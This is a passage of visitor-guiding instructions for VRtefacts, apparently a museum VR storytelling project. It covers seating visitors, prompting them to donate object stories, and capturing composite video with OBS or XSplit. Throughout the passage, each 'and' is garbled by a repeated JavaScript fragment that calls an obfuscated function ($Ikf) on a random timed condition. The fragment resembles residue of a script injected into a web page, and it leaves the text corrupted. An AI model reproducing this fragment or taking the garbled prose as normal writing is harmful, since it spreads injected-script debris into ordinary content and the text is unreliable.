The stories

9. Decide how you want to guide visitors through your version of VRtefacts. 

a. For maximum impact, keep the objects/vitrines hidden andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the door closed, with other staff member(s) handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling visitor flow.

b. The ‘host’ guiding the visitor through the VRtefacts experience will need to get each visitor safely settled in the fixed seat (see point 7b) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and show them how to put on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and adjust the headset. 

c. The host will also prompt them to choose an object, place it on the table in front of them, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and build up the importance of coming up with a proper story which they will donate to the museum (with permission, of course) without giving them stage fright.

d. To get the most of these stories, use a real video camera mounted in front of them, on the other side of the table andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and out of reach, with a virtual camera mounted in exactly the same spot within the VR environment. You can then capture a 4-part component video with the visitor’s view within the VR, the virtual camera’s view within the VR, the actual camera’s view of the physical person, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an overlay of the real person speaking within the virtual background, holding the scanned/printed object. The Vive headset captures the audio. Make the composite using any third-party video capture software such as Open Broadcaster Software (OBS) or XSplit.